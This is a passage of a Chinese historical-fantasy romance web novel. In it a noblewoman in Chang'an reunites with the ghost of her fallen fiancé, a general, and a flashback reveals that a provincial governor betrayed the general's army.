这一年,长安干旱,护城河里的水已经变成了浅溪,百姓过得不好,便将希望寄托于明年,希望明年多一些雨水,希望明年有个好收成,更希望国泰民安,再也不用担心再一次被胡人赶出长安。因此,即便过得不好,他们脸上总是带着几分笑意与期许。 长街熙熙攘攘,桥妧枝却觉得有些不习惯,这些时日,她习惯身边总会跟着一只鬼魅,习惯她出声就会随时有人应承她。 街边传来一阵炒栗子的甜香,她站定,去摸荷包,却发现今日只带了几块碎银,不过倒也足够买一袋滚烫的栗子。 卖栗子的商贩见她站着不动,主动开口:“女郎又来买糖栗,还是像以前一样,两袋糖栗吗?” 桥妧枝忍不住问:“你认识我?” “女郎样貌出众,又时常来我这里买糖栗,我自然记得。” 闻言桥妧枝笑笑,将碎银递给他,道:“今日只要一袋糖栗。” 商贩收下银子,一边为她装糖栗一边叹道:“今年没有雨水,哪怕栗子耐旱,收成还是少了不少,卖的便有些贵。” 话音刚落,不远处便传来一阵骚乱。 桥妧枝下意识看去,却见禁军从酒楼中压出几个身着麻衣的普通男子,驱赶着往衙门走去,而周季然却持刀立在一旁,面色冷峻,唇角满是讥讽。 察觉到她的目光,周季然侧身,对上她的视线,只看了一眼,便很快离开。 长街喧嚣,她看到周季然薄唇一张一合,对身后将士说了什么,随后转身上马,带着禁军走远了。 商贩将盛好的栗子递给她,“女郎,你的栗子。” 桥妧枝回神,接过油纸包裹的栗子,放在掌心暖手,低声问:“那些人犯了什么事?” “还能有什么事。” 商贩一言难尽,只含糊说道:“冬至都过了,长安还没有下雪,那几个人一看就是吃多了酒,开始胡言乱语。女郎应当也看到了,这一年,禁军已经因为这件事抓了不少人了。” 桥妧枝明白了,那几个人应当是吃多了酒,说了些关于圣上不该说的话,就如同钦天监的周大人一样。 她转身,却不可避免地想起蜀州时候的圣上。 那时她年纪尚小,圣上也正是壮年,虽也做过一些昏庸事,却称得上爱民,称得上爱臣,无论是对百姓还是朝臣,总是带着几分宽容,远没有如今这般不近人情。 果然谁都会变,即便是高坐明堂的圣上。 她想得出神,不知不觉走到一处珠翠坊,脚步微顿。 — 回府时已经是傍晚,桥府正厅多了几个身穿朝服的老者,都是桥大人的同僚。 桥夫人见她回来,匆匆上前握住她的手,上下打量她一眼,压低声音问:“你的耳坠呢?” 下意识摸了摸光秃秃的耳垂,桥妧枝道:“应当是路上丢了,我没有注意。” 哪有人丢耳坠一下子丢一对儿的,桥夫人扫了她一眼,没有拆穿,只推着她往回走,叮嘱道:“膳厅里给你留了雪梨银耳羹,先去喝了。” 桥妧枝应承了一声,目光却忍不住落在正堂那几位大人身上。 桥夫人犹豫了一瞬,压低声音道:“十二皇子在洛阳行事时出了纰漏,今日早朝,周季然上奏弹劾,圣人震怒,将十二殿下痛斥一顿,隐隐有要冷落的意思。” 朝堂之上风起云涌,圣上一个态度就足够满朝文武揣测许久。自太子被东胡人刺杀后,圣上一直没有立储。 众多皇子中,大多资质平庸,唯有十二皇子称得上其中翘楚。再加上,从蜀州到长安,十二皇子是从战场上一点一点为自己立身的,很得民心,如今受了冷遇,众人难免担忧,怀疑起圣上中意的储君人选到底是谁。 “脉脉,阿娘知道你与十二殿下相熟,只是如今,圣上病重,还要小心为妙。” 桥妧枝缓缓收回目光,将怀中尚且温热的栗子递过去,道:“阿娘,我明白,你吃糖栗吗?” 她最终还是没有去喝雪梨银耳羹,从正堂出来,便飞快回了暖阁。 暖阁陈设与她走白日离开时一模一样,唯一不变的就是窗边那几株梅花比白日更大了些,隐隐似要开了。 沈寄时还是没有回来,她抿了抿唇,察觉自己应当又被他给骗了,什么一盏茶的功夫,是从采摘茶叶开始的一盏茶吗? 她愤愤,将花瓶中的水换掉,看着上面密密麻麻的花苞,盘算着最快明日,这些梅花兴许就能开了。 狸奴跳到她身边,探着脖子,嗅了嗅梅花,懒洋洋往她身上倒。 桥妧枝将它捞起,抱在怀中玩闹一会儿,方才想起什么。 走到梳妆台前,她从袖中拿出白日里,用翡翠耳坠换来的镂空雕花玉冠,看了又看,这才小心放进锦盒中。 等沈寄时回来,她就为他将发冠上。 46 第46章 ◎我们成亲吧【修】◎ 临近年关,兴宁坊悬挂是灯笼全部换成了正红色,一入夜,灯笼亮起,远远看去,只见一阵红光冲天,格外喜庆。 郁荷买了炮仗来放,火折子一燃,响声震天,惊起落在屋檐上的几只飞鸟。 桥妧枝立在阁楼上,看着天际火光闪现又消失,惊觉转眼又是一日,再过不久就是除夕,可沈寄时还是没有回来。 其实七日并不长,真论起来于她而言也不过是眨眼之间,可若换算成黄泉时日,已是七年了。 七年,寻一个早就已经死去的人,当真需要耗费那么长的时间吗? 人间第七日时,桥夫人回了一趟娘家,天未亮出门,傍晚方才归家,马车上除了从娘家带回来的体己物件,还有一坛酱菜。 酱菜是用萝卜腌制而成,吃起来很脆,桥妧枝心不在焉咽了一口,酥脆声响直接从骨头传到耳畔。 桥夫人目光落在她神情恹恹的脸上,突然道:“阿娘今日归家,你外祖母问起了你的婚事。” 桥妧枝回神先是一怔,随后静静听着,没有出声。 桥夫人装作没有看到她的不对劲,自顾自说道:“你外祖母的意思是说,若是实在定不下亲事,就将你许给你三表哥。你们年纪相仿,他虽家世一般,却是青年才俊,过了年就要参加春闱,若是能够高中,与你倒也般配。” 听到相配这两个字时,桥妧枝眼中闪过一丝茫然。 她与沈寄时是不般配的,可她与旁人便般配了吗? 厅堂寂静,谁都没有出声。 不知过了多久,桥妧枝抿了抿干涩的唇,哑声道:“阿娘,我如今还不想定亲。” 沉默许久,桥夫人突然轻轻嗯了一声,语气温吞道:“阿娘知道,所以帮你回绝了。” 她移开目光,“你若是不想议亲便算了,阿娘不逼你。” 出乎意料的答案,桥妧枝长睫飞快抖动了两下,险些以为自己听错了。 她静默许久,方才讷讷道:“我知晓的,其实阿娘从未逼我。” 阿娘总是嘴上说着给她议亲,可知道她不喜欢冯郎君,便会爽快回绝,更没有逼她相看旁人,这些种种,她都知晓的。 桥夫人只苦笑一声,起身离开。 她其实并不是令爹娘省心的女郎。 桥妧枝想,但她可能永远也做不了让爹娘省心的女郎。 那日天色将晚,桥妧枝捧着一小坛青梅酒回了空无一人的庭院。 院落清寂,她立在门前,仰头看到暖阁这则半开的窗户,从这个角度看去,隐约能看到窗内绽开的梅花。 酒气上头有些晕,她一时间竟想不起自己离开时可曾关窗。 捧酒悠然而上,推开门的一瞬间,满面梅香,她寻香看去,只见立在窗前的那几枝梅花已经全然盛开了。 原是花仙子于一人寻常的寒夜,悄然造访。 傍晚的寒风透过窗户,吹得花瓣翻飞,桥妧枝将喝了一半的青梅酒放下,缓步走到窗边去关窗。 窗是向内开的,想要关上,就要挪动插着梅花的白瓷瓶。 酒意三分,她没反应过来,指尖碰到白瓷瓶口才突然意识到什么,动作一僵,缓缓转身。 沈寄时立在她身后。 “桥脉脉。” 他开口,清润的嗓音不知为何变得沙哑了许多,看向她的目光,带了令她见之心颤的惆怅与无奈。 桥妧枝思绪混沌,想问他为何才回来,可话到嘴边,说的却是:“沈寄时,我们的梅花开了。” 寒冬腊月,窗外一片萧条,窗边那抹青白成了此间唯一的点缀。 “嗯。”他说,“桥脉脉,我看到了。” 桥妧枝双颊泛红,眸子却很亮,“还有一个好消息要告诉你,我阿娘今日与我说,只要我不愿意,以后就不会再给我议亲。沈寄时,等再过一段时日,我们就成亲吧。” 寒风肆虐,枯枝轻晃。 桥妧枝等了一会儿,没有等到他的回答。 微微抿唇,正想问他有没有在听她说话,可还未开口,却猝不及防被他拥入怀中。 微凉的身子贴上来,桥妧枝眸子下意识睁大。箍在她腰间的手臂太用力,让她下意识以为,自己要被他嵌进身体里。 “沈寄时?” 下颌抵在她肩膀处,唇瓣轻轻擦过她颈边,带起一阵酥麻,桥妧枝呼吸不由自主地急促了几分。 淡淡的香火气与她身上的梅子酒香融合在一起,明明那些酒不足以醉人。可桥妧枝却觉得头晕目眩,下意识攀上他肩膀,胡乱动了两下。 沈寄时将她抱得更紧,低声道:“桥脉脉,让我抱一会儿。” 他这样说,桥妧枝便不动了。 窗户敞开,寒风偶尔吹在他们身上,却不觉得冷。 饮过酒的人身上总会有些烫,也不知是不是错觉,她总觉得沈寄时都被她染上了一层温热。 蜡泪垂落,火焰爆出轻微的噼啪声。 不知过了多久,沈寄时力气终于松懈几分,只是手臂依旧强硬地横在她腰间,将她弄得有些疼。 侧腰应当被勒出了红痕,桥妧枝靠在他怀里发了一会儿呆,突然抓住他手腕,将手臂从自己腰间扯了下来。 沈寄时黯然,手臂缓缓垂下,没有再覆上去。 桥妧枝摸了摸自己侧腰,没有察觉到疼痛,于是放下心,将人拉到镜前,又转身去翻放在梳妆台上的锦盒。 玉冠样式简单,握在手中有一股温润的暖意,少女抿了抿唇,轻声道:“沈寄时,我前几日看中了一个很漂亮的玉冠,于是买了下来,想用来给你束发。” 说着,目光透过铜镜落在他脸上,桥妧枝苦恼道:“但是我好像高估自己了,我还从未给男子束过发。” 沈寄时看了她一会儿,抬手将自己长发束起,道:“卿卿,为我戴冠吧。” 他其实从未想过,自己还有戴冠的一日。 二十二岁生辰那日,他尚在冀州战场,父母叔伯皆故,能称得上他长辈之人都在长安,他心心念念之人没有给他寄来一封信,心中不畅快,于是堵着一口气,一直到战死都没有为自己冠发。 桥妧枝闻言眉眼微弯,小心将玉冠落在他发间,又将短簪固定住,待整理好,指尖依旧没有离开。 两人谁都没有说话,只透过铜镜看向彼此。 “沈寄时。”她开口,“你还记不记得,原本今年冬日,我们是要成亲的。” 二十六年秋,裴将军战死,沈寄时守孝三年,他们的婚期,定在承平二十九年腊月初六,也就是今日。 沈寄时哑然,良久出声:“终究是我负卿卿。” “你知道就好。” 她笑着,将手松开,凑近他,语气却多了几分认真,“那你在黄泉,寻到赵曾了吗?” 四周一静,他久久没有开口,桥妧枝却也不急,只静静等着。 良久,他扣住少女手腕,指腹在她细嫩的皮肤上轻轻摩挲,“寻到了。” “他入了畜生道,我寻到他时,他已成了黄泉路上一只令人憎恶的肉虫,前尘往事,都已经不记得了。” 桥妧枝有些解气,又问:“然后呢?既然如此,你为何在黄泉一呆就是七年?” 这一次,又静了许久,他才缓缓道:“我在黄泉寻到了李副将,还有那战死沙场的八万沈家军。” 桥妧枝不解,“黄泉鬼魂这般多吗?这么久竟还没有让他们去轮回。” 沈寄时眉眼染上一抹狠戾,他哑声道:“并非如此,他们停留在枉死城,无法入轮回。” 霎那间,桥妧枝只觉得周身血液倒流,耳边一片嗡鸣。 她很久才找回自己的声音,涩然问:“赵曾已被绳之以法,为何他们无法出枉死城?” 沈寄时扯了扯唇角,“因为当初的刽子手,不仅只有赵曾。” “我可以不入轮回。” 他想到枉死城中的那些将士,眼中渐渐蒙上一层血雾,“但是他们不行,我要送他们入轮回,让他们有来生,送他们回家。” 浮屠峪一战死的死伤的伤,唯一知道那日发生什么的人,只剩下周季然。 眸中血雾难以消散,他道:“卿卿,我要知道,既然是冀州节度使通敌叛国假传军情,那周季然在其中,到底扮演了怎样的角色。” 他声音沙哑,仿佛随时能呕出一口鲜血,“我更要知道,我曾经的生死之交,被阿娘视为亲子之人,是否当真恨我至此,恨到亲手葬送与他出生入死的八万兄弟。” 周季然恨他,他一直都知道。 — 周府没有点灯,门前的两个灯笼也不知何时熄灭了。 周季然挎着长刀行在一片漆黑中,走得缓慢。 指腹一直在摩挲刀柄上那个凸出的沈字,时间久了,指腹磨出血,他却还是没有停下。 说来可笑,从市井乞丐到如今身居高位,十几年来,他身边唯一没有变得竟然是这把刻着沈字的长刀。 凉酒入喉,脑海中思绪纷乱,让他有些不知今夕是何年。夜风袭来,吹散了周身酒气,他却越发觉得困倦。 步伐最终停在一处凉亭内,周季然坐在石凳上,将最后几滴酒灌入喉咙。 模糊间,他想,谁叫沈寄时姓沈呢,沈这个字,真是令人厌恶。 他是厌恶沈寄时的,从看到他的第一眼便讨厌,时间一久,演变到最后,厌恶中竟渐渐掺杂了几分恨意。 他第一次无比清晰意识到这个事实时,是在承平二十八年的七月。 彼时大梁陈兵冀州,仅用半年时间,就将东胡打得节节败退。七月初,冀州暴雨,关口一战,他与沈寄时兵分两路包抄东胡兵马。 东胡三皇子是个草包,不一会儿就被他打得落荒而逃,李副将乘胜追击,却被偷袭,他上前用胳膊为其当了一箭,却不想一下子就扎穿了骨头。 很疼,比以往任何伤都要疼,他忍不住想,要是阿雲还在,说不定还能再用鞭子将沈寄时抽一顿。 最好抽得皮开肉绽。 “周将军百日之内不要舞刀弄枪,否则手臂难保。” 军中大夫的声音在耳畔响起,周季然却神情冷淡,并未放在心上。 他对军中大夫道:“周季然命贱,一条胳膊罢了,无需费心。” 是的,他命贱,一条胳膊而已,不要便不要,总归将东胡打跑之后,他便不准备上战场了,要这条胳膊也没有用。 就连阿雲都不知道,其实他并不喜欢上战场。 他最开始说要上战杀敌,是为了留在阿雲身边,再后来她死了,他便想将东胡人打跑,也算是为她报仇。 谁知沈寄时的声音却在军帐中响起,语气一贯桀骜,令人厌恶:“浮屠峪一战你不必前往,有你没你,大梁一样可以胜,这是军令。” 少年将军说完转身就走,独留他在原地暴怒,暴怒到最后,他清晰地意识到,自己对他的那点厌恶中早就在不知不觉间带上了恨意。 他厌恶沈寄时。 最开始厌恶他,是厌恶他的自以为是。 后来厌恶他,是厌恶阿雲的目光永远最先放到他身上,厌恶阿雲让他守在沈寄时身边护着他。 到最后,他甚至开始厌恶他姓沈,厌恶他的父亲是早就死透了的沈烈。 直到阿雲为救他而死,他陡然生出了几分恨。 — 周季然睡在凉亭中,想着对沈寄时的恨,恍惚间清醒了几分,可很快醉意袭来,他又陷入更深的梦境。 — 承平二十八年七月十三,冀州再次迎来一场暴雨。大雨混着泥水冲刷而下,山谷中传来震耳欲聋的嗡鸣。 沈寄时身穿玄甲,负枪纵马前行,与站在一旁的周季然擦肩而过,却没有施舍给他半分眼神。 他们就是这样,从一同练武的两个少年到一同出生入死的同僚,直至如今,相看两厌。 大军浩浩汤汤往北走,马蹄踏过路面积水,溅起足有一人高的水花。水花与大雨交织,模糊了众人视线。 营地内,只剩下周季然与近百个无法上战场的伤员,眼睁睁看着大军离开。 这是第一次,他因伤没有上战场。 大雨中,周季然目光阴鸷,猛地抽出腰间长刀就要翻身上马,却被伤了腿的彭校尉拦下。 “周将军不可,侯爷让你留在这里养伤。” 大雨打湿衣袍,彭校尉面容在暴雨中有些看不清晰,声音却格外固执。 “滚开!” 一脚踹在彭校尉心口,周季然长刀一挥,怒吼道:“沈寄时算什么东西,也管得了老子上不上战场?!” 彭校尉捂着胸口倒在地上,禁不住哀嚎出声。 “周将军!” 继而又是数人拦在他面前,那些拦着他的将士道:“还请将军以身体为重!东胡如今虽负隅顽抗,但已经是强弩之末,将军此战必胜。而且……而且若是裴将军在天有灵,也不会同意将军贸然前去的。” 沈家军都知道,周季然再反骨再不听军令,但只要裴将军在,他总是能变得格外听话。 果然,周季然动作一僵,目光在他们身上逡巡片刻,冷笑道:“搬出她来镇我?” 拦着他的那些人下意识低头,却依旧不肯让开。 面色彻底冷下去,周季然正要提刀,脖颈上红绳却突然崩断,一直悬挂在胸前的玉佩顺着身体滚落进淤泥中,暴雨冲刷下,只堪堪露出一个周字。 周季然一怔,弯腰拾起,久久没有出声。 那是他弱冠时,阿雲送他的玉佩,也是她留给他唯一的东西。 天边惊起震耳雷鸣,暴雨越下越大,举头不见沧溟。 周季然扯了扯唇角,将玉佩擦干收在袖中,收起长刀转身进了军帐。 阿雲应当是不愿让他去的,他想,即便这只是他毫无根据的猜测。 暴雨下了一整夜,依旧没有要停的意思。碎石沿着山路滚滚落下,越积越多。” 周季然身披蓑衣立在军帐前,指腹一直在刀柄上摩挲。 东胡早就已经苟延残喘,最后一战,于大梁而言犹如探囊取物,可为何一整夜都没有消息。 他一把拽过一旁的将士,沉声道:“前线可有消息?” “还……还没有,末将这就前去查看!” 周季然眸光微沉,心中难安,松开士兵直接翻身上马,冷声道:“我自己去!” 说完,快马扬鞭,向北而去。 “将军!” “周将军!” 身后传来焦急的呼喊声,周季然眉眼微沉,攥紧手中玉佩,没有回头。 山路艰险,周季然却越发不安起来。 快马行至滹沱河时,他隔着很远,便见一人手执黑色军旗纵马奔来。 妖风肆虐大雨滂沱,黑色军旗上的字迹已经模糊不清,可周季然看得分明,那就是沈家的军旗。 “周将军!” 来人隔着很远看到他,一边嘶吼一边向他奔来,只是还未将军旗交到他手上,就在距离他一丈的地方,骤然仰天喷出一口鲜血。 鲜血溅到到周季然脸上,那是一股浓郁又腥臭的铁锈味。他来不及擦,冲下去一把将人抱起,这才发现这人胸前竟早已被箭矢贯穿,不知靠着怎样的毅力才跑到这里,他咬牙,问:“出了什么事?” 将士口吐鲜血,断断续续道:“东胡人在浮屠峪设了埋伏,侯爷死战将军……快快去叫援军……” 周季然瞳孔一缩,双拳紧握,失声道:“冀州节度使陈兵于此,战事有变,为何没有出兵?” 那将士张了张唇,想要再说什么,可又喷出一口鲜血后,只剩一口气苟延残喘,说不出话来。 他必死无疑,周季然为他阖上眸子,一咬牙,翻身上马,调转马头,向冀州节度使所在的城门飞奔而去。 大雨倾盆,他身上的蓑衣早就已经被打透,雨水渗入伤口,痛得几乎麻木。 他顾不及查看手臂上的伤口,奔至城下,却见城门紧闭,守城将士不见踪影。 他勒住缰绳,冒雨大吼道:“赵曾在何处!战事有变,烦请调取三万精兵与我前往浮屠峪!” 无人应答,他便拔出长刀,怒吼道:“冀州节度使赵曾何在!” 眼前好似一座没有人的空城,周季然脸色越发难看,怒道:“冀州节度使赵曾何在!战事有变,你不出兵,是要造反吗?!” 一连喊了三声无人应答,周季然心一沉,意识到什么,正要强行破门,城门却骤然打开。 锋利的长刀架在脖颈,周季然一僵,看清眼前人,怒急攻心,“赵曾,战事吃紧,你不派军增援,反而将这里的将士都赶走!你是要反吗?若是此番兵败,你难辞其咎!” 赵曾却也不恼,只笑眯眯看着他,道:“周将军,你以为现在派兵就能力挽狂澜吗?沈寄时与那八万沈家军就不会死吗?” 他得意道:“一切都已经晚了!浮屠峪本就地势险峻,再加上东胡人对沈家军战术了如指掌,鏖战一夜,沈寄时如今已经是强弩之末,就算是大罗神仙都救不了。周季然,你以为,你是第一个前来求我派遣援兵的沈家军吗?” 周季然目光阴鸷,指骨嘎嘎作响,一把握住架在颈间的刀刃,鲜血淋漓而下,他形容恐怖,一字一句道:“你说什么?” 见他如此疯癫,赵曾双眸微眯,将长刀撤下,冷笑道:“告诉你也没关系,这一夜,算上你,前来请我派兵的沈家军已有数十个,你猜那些人如今在何处?” 口中骤然溢出一口腥甜之气,周季然眸中满是杀意,“你杀了他们!” “周将军果然聪明绝顶。”赵曾虽在鼓掌,却语气嘲讽:“沈寄时此人桀骜不驯,蔑视皇权,早就该死了,让东胡人与他们耗,等都死得差不多了,我再出兵,自然可以坐收渔翁之利。” 顾不上疼痛,周季然一把拎起眼前人衣袖,目眦欲裂,“赵曾,你这样做与通敌叛国无异,就不怕被诛九族吗?!” “九族!” 赵曾冷笑,“如今已经到了这般境地,周将军还没有看分明吗?” “东胡如今已是苟延残喘,你猜为什么会将沈寄时逼到这般田地?” 周季然面目狰狞,牙齿打颤:“是你!你果真通敌叛国!” 赵曾眸光一冷,“我何时通敌叛国,叛国之人明明是周将军你。” 他看着眼前狼狈不堪的周季然,冷笑道:“自古都是兔死狗烹,鸟尽弓藏!东胡之乱至今,沈家的名头在百姓心中威望至高,早就已经威胁到皇权,你以为圣上能一直容忍下去吗?” 他嘲讽地看着周季然,“更何况沈寄时与十二皇子素来交好,承平二十七年,东胡人刺杀太子,太子薨,当日正是沈寄时值守长安,怎么早不出事晚不出事,偏偏那个时候太子出事?太子一直被圣上寄予厚望,你以为经此一事,圣上没有怀恨在心吗?” 周季然觉得很可笑,眸光愈冷,“昏君!只是因为一个莫须有的罪名,他便要葬送八万将士的性命吗?” 这就是大梁的皇帝,他为阿雲感到不值,也为沈寄时觉得可悲。 “莫须有与否,不是你说了算,也不是我说了算,是圣上说了算!周季然,光是昏君这两个字,就已经够你掉十次脑袋了!” 赵曾道:“圣上只需要听话的将士,可沈家军只听沈寄时一人号令,没了他,沈家还有沈萤,没了沈萤,沈家还有周将军你,如今东胡已经不成气候,但只要有这些人在,陛下便日日如坐针毡,既然如此,那不如一了百了。” 话落,他拍了拍周季然的肩膀,嗤笑道:“说这么多,也是为了让周将军死的明白,毕竟这件事,总要有个替死——” 话未尽,赵曾突然口吐鲜血,僵硬抬头,满是震惊望着他。 周季然面无表情抽出插在赵曾腹间长刀,鲜血溅在他脸上,他没有擦,任凭浓稠的血液从他下颌处滑下,好似地狱里爬出的恶鬼。 摸出赵曾身上兵符,周季然垂眸,语气冰冷,毫无感情,“节度使说得对,这件事总要有替死鬼,这个人可以是周季然,也可以是赵曾,而大人统帅冀州军,自然更适合当这个替死鬼。节度使大人可能忘了,帝王的刽子手,从来不是不可代替的。” 他突然有些庆幸,若不是赵曾看不起他,也不会孤身一人前来,给了他下手的机会。 鲜血顺着他发尖缓缓滴落,带起一阵刺鼻的腥臭味。 掌心伤口深入骨缝,肩膀上的肩伤还没有好全,周季然一手提着长刀,一手握着那枚玉佩,一步步走进城门内。 他想,早知当初,还不如也上战场,和沈寄时一起死了,还可以早日下黄泉去见阿雲。 — 夜深露重,屋檐上寒霜凝结成一滴水,落在周季然眉心,将睡梦中的人惊醒。 他睁眼,发现手中的酒壶已经空了,冷风吹了半宿,那点醉意也消散的一干二净。 他下意识看向掌心,那道深可见骨的伤口早就已经愈合,只留下一道丑陋的疤痕,横贯在掌心。 他极少做梦,却不想接连两次所梦到的,都是与过去有关的事情。 不知为何会梦到那些事,周季然闭目,嘲讽地扯了扯唇角。 帝王高坐明堂,需要刽子手,只要忠诚好用,并不在意执刀者到底是谁。他正是料到这些,才敢一刀了解了冀州节度使。事实也正如他所料,陛下知道他杀了冀州节度使,只说了一句话便轻飘飘盖过,而他周季然,却依旧是活得好好的抚军中郎将。 寒风吹动周季然衣衫,他将梦中的一切清空,随后施施然起身,却在抬头时目光微凝。 不远处,印象中面容都已经有些模糊的人立在不远处,那副神态一如当年一般令人讨厌。 周季然眸光微沉,缓缓开口:“你是沈寄时?” 话音落下,他又冷笑,奚落道:“你不是早就已经死了吗,如今托梦给我是做什么,你我之间的关系,何时好到值得托梦的地步了。” 沈寄时冷冷看他,并不说话。 周季然面色一僵,又很快冷笑起来,“真是死了比活着的时候还要令人厌恶。” 他欲走,耳边起了一阵朔风,长枪袭来,落在他喉咙三寸处。 周季然神色不变,垂眸看着眼前锈迹斑斑的止危枪,“沈寄时,你的枪已经生锈了。” 锈了的枪,还有必要拿吗? 寒风吹起玄黑色大氅一角,沈寄时神色冷漠,一如当年。 “我今日来此,是有话要问你。” 似是猜到了什么,周寄然眸中划过一丝嘲讽,“你想要问的事情,刚刚在梦中,不是都已经看到了吗?” 沈寄时眸子微沉,与他对视,“我只问你,若梦中皆是真,阿娘送你的那块玉佩,为何会出现在我身死之地。” 周季然神色一僵,久久没有出声。 【作者有话说】 会修会修会修,重要的事情说三遍! 47 第47章 ◎任由他冒犯【主日常感情,微剧情】◎ 天寒地冻,暖阁中的火炉烧到最旺,处在其中,竟觉几分燥热。 桥妧枝整个身子缩进身侧人怀里,侧脸贴在他胸膛,汲取他身上那股阴凉意。 夜阑人静,桌案上油灯轻晃,连带着晃动了墙上的影子。 “玉佩为什么会出现在战场?” 声音从怀中传出,有些闷,带着些鼻音。 “兴许是在我死后去过浮屠峪,看一看还有没有人活着。” 他顿了顿,扯了扯唇角道:“他不肯说,强行从梦中醒了。” 桥妧枝轻轻嗯了一声,久久没有出声。 怀中人一动不动,沈寄时以为她睡了,轻轻抚上她铺散在枕上的墨发。 指尖顺过她发尖,恍惚间,竟有一种他们当真已经成亲的错觉。 直到胸前忽然传来一阵潮湿之意,滚烫的泪珠透过衣衫,印在他胸前,仿佛能将他胸口灼烧出伤痕。 他心中一震,扣在她发上的手一紧,哑声道:“桥脉脉,你哭什么?” 上一次见她这样频繁哭,是在承平二十年冬末,他们南逃的途中。 一句话仿佛开了洪水的闸口,本就湿漉漉的衣衫瞬间又洇透一大片。 沈寄时伸手去探她脸,入手却是一片泪涔涔的脸庞。 她抽噎:“你明明可以凯旋的。” 泪珠渗进指缝,他没动,哑声道:“哪有那么多本可以,卿卿不要哭。” 她将头埋得更深,瓮声道:“你从未对不起他,从未对不起大梁。” 她口中的他,是高台上的天子。 “太子被刺本就是巧合,即便是换旁人当值也会出事。” “沈家世代忠烈,祠堂上的十数个牌位还不够证明吗?” 她说话时浑身都在抖,显然被气得狠了。 说到最后,声音越来越大,她猛地抬头,牙齿打战,“若不是他沉迷享乐,错信佞臣,大梁怎么会历经十年战乱。若不是他年迈昏庸,我们——” 话音戛然而止,冰凉的唇落在她唇边,将她未尽之言全部吞了下去。 桥妧枝浑身一僵,眼泪落得更加凶猛。 温热的泪珠顺着脸庞滑下,沈寄时尝到了淡淡的苦咸味,像初春的苦杏,馥郁清香间又涩然。 他微顿,缓缓向上,轻吻落在她湿润的眼角。 热泪入喉,仿佛能够将喉咙灼伤,辗转厮磨,潮湿,却令人怦然心动。 呼吸交缠间似有梅香萦绕,沈寄时呼吸微沉,有些分不清,这是香气是从窗边传来,还是从她身上传来。 怀中少女长睫颤得厉害,手指一直紧紧抓着他袖口,明明害怕,却任由他这样冒犯。 他许久没有动作,桥妧枝缓缓睁眼。 帷幔之后光影黯淡,他轮廓分明,神色却有些看不清晰。 她有些难过,那种难过并不陌生,正如寻不到他的那些时日中,她每每梦中惊醒后,心脏仿佛被挖走一块,让她惶恐不安。 “沈寄时。”她轻轻唤了一声,双手捧住他的脸,仰头去亲他。 纤细的脖颈向上绷直,她吻得不重,却格外缱绻。 横在她腰间的手臂猛地收紧,高大的身躯压下,修长的手扣住她下颌,极尽深入地侵占,如同山间土匪一样,妄图掠夺些什么。 墨发散下,手指强硬地插入她指尖,与她十指相扣。 桥妧枝指尖抖得厉害,想要用另一只手去攀他肩膀,只是混乱间,圆润的指甲尖在他耳后划出一道红痕。 很细微的疼痛,却在夜间被放大,理智蓦然回笼,沈寄时一顿,就着朦胧光亮去看她。 少女朱唇水润,眼尾绯红,目光却清亮,好似山间的雪,风一吹,轻枝摇晃,抖落满地琼芳。 他不敢踏雪,正如活着时不敢越雷池一步,总觉得要等到成亲,可如今,他们却再也成不了亲。 手臂一松,沈寄时埋首在她颈边低笑,笑着笑着,又顿觉几分苦涩与无奈。 怎么甘心呢,原本昨日应当是他们的新婚夜的。 桥妧枝闭眸,静静听他在自己耳边笑,鼻尖莫名有些发酸。 “我可以的。”她说着,纤细的指尖一直没有离开他鬓边。 沈寄时嗯了一声,扯过棉被为她盖上,道:“等我们成亲。” 她一怔,唇角微弯,没有问什么时候成亲,如何成亲,只是轻轻嗯了一声,将头埋进他胸膛。 还是没有听到心跳,每次贴上来她下意识去听,可那里一片寂静。 “天快亮了。” 他掌心落在她墨发上,清润的嗓音带了几分沙哑,“桥脉脉,该睡了。” 大约是真的哭累了,桥妧枝听着他的声音,当真缓缓睡去。 天光大亮时,窗外突然响起欢快的炮竹声。竹筒飞起,跃过高墙打在暖阁的柱子上,又很快被弹飞。光阴倏忽流转,竹筒落到了庭院中,被风一吹滚落在桥妧枝脚边。 沈寄时弯腰将竹片捡起,指腹在竹片烧焦处擦过,垂眸看向专心刨土的桥妧枝。 “桥脉脉。” “嗯?”少女鹅黄色的裙尾拖在地上,与他应声,却只偏了偏头,正眼都没有给他。 她将屋中盛开的梅花采摘下来,酿了一坛梅花酿。 马上就要到除夕,她要尽快将酿好的梅花酿埋进土里,再晚几日,土地就要被冻住了。 “桥脉脉。”他又出声。 这一次桥妧枝总算回头,细眉轻蹙,不解地望向他。 沈寄时眉目收敛,缓缓俯身,看着她不耐烦的表情,轻轻扯了扯唇角。 她如今这个模样,好像一只被打扰筑窝的雀鸟。 莫名想到青城山上的云雀,于是抬手,在她脸庞上蹭了蹭。 浅淡的炭痕在她脸上留下印记,沈寄时一怔,指尖下意识摩挲了一下,白皙脸上的印记就更深了。 有些心虚,他将竹片藏进袖口,避开她的目光。 脸庞被他蹭得有些痒,桥妧枝神色微松,道:“沈寄时,明年春日,我们就能喝到梅花酒了。” 他轻轻嗯了一声,道:“我帮你埋。” 说着,拿走她手中的石铲,单膝蹲下,将已经隐隐有些发硬的泥土撬出。 放在一旁的梅花酿散发着浓郁的酒香,他神情专注,寒风一吹,合欢树的枯枝在他头顶摇晃,一瞬间,他好似还是当年那个与她在山上埋酒的青衣少年。 日迈月征,朝暮轮转。 这几日,她们如同寻常夫妻一般相处,没有再提与圣上有关的事。 桥妧枝有些自私地想,若是可以一直这样,也很好。 可是不行,还有人在枉死城等他带他们回家。若是换成她,她也不会让那八万将士不明不白地在枉死城消磨光景。 她不知沈寄时会如何做,这些日子,他不说,她便也不问。 总归,她们是殊途同归的。 天愈冷,她将脸埋进斗篷边那一圈厚厚的兔绒里,只露出一双明亮的杏眼。 沈寄时将酒坛放进土坑中,偏头寻问:“封好了吗?” 她点头,眉眼弯起,“封好了。” 于是土坑被一点一点填平,填到最后时,院门被轻轻敲响。 “女郎,抚军中郎将周大人来府上了。” 【作者有话说】 赶紧甜一下,就当奖励我了QAQ 48 第48章 ◎他是第一个为他们烧去香火的人◎ 桥府正堂内。 桌案上腊梅开得正好,缕缕梅香融入清茶,入口时,清苦味混着花香萦绕在唇舌间,久不消散。 相国大人用茶盖拂去水面上的茶叶,低头抿了一口茶,温茶入喉,舒服地眯了眯眼,并不说话。 周季然神色如常坐在偏位,身侧的茶已经有些凉,却丝毫没有要喝的意思。 桥大人并不在意他是否喝了自己的茶。 